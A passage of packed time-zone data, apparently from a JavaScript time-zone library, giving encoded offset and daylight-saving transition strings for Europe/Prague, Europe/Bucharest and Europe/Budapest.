11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|12e5","Europe/Prague|LMT PMT CET CEST GMT|-V.I -V.I -10 -20 0|0123232323232323232423232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-4QbAV.I 1FDc0 XPaV.I 11d0 1iO0 11A0 1o00 11A0 Qrc0 6i00 WM0 1fA0 1cM0 1cM0 1cM0 1cM0 1qM0 11c0 mp0 xA0 mn0 17c0 1io0 17c0 1fc0 1ao0 1bNc0 1cM0 1fA0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|13e5","Europe/Bucharest|LMT BMT EET EEST|-1I.o -1I.o -20 -30|01232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3awpI.o 1AU00 20LI.o RA0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1Axc0 On0 1fA0 1a10 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cK0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cL0 1cN0 1cL0 1fB0 1nX0 11E0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|19e5","Europe/Budapest|LMT CET CEST|-1g.k -10 -20|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3cK1g.k 124Lg.k 11d0 1iO0 11A0 1o00 11A0 1oo0 11c0 1lc0 17c0 O1V0 3Nf0 WM0 1fA0 1cM0 1cM0 1oJ0 1dd0 1020 1fX0 1cp0 1cM0 1cM0 1cM0 1fA0 1a00 bhy0 Rb0 1wr0 Rc0 1C00 LA0 1C00 LA0 SNW0 1a00 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cO0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 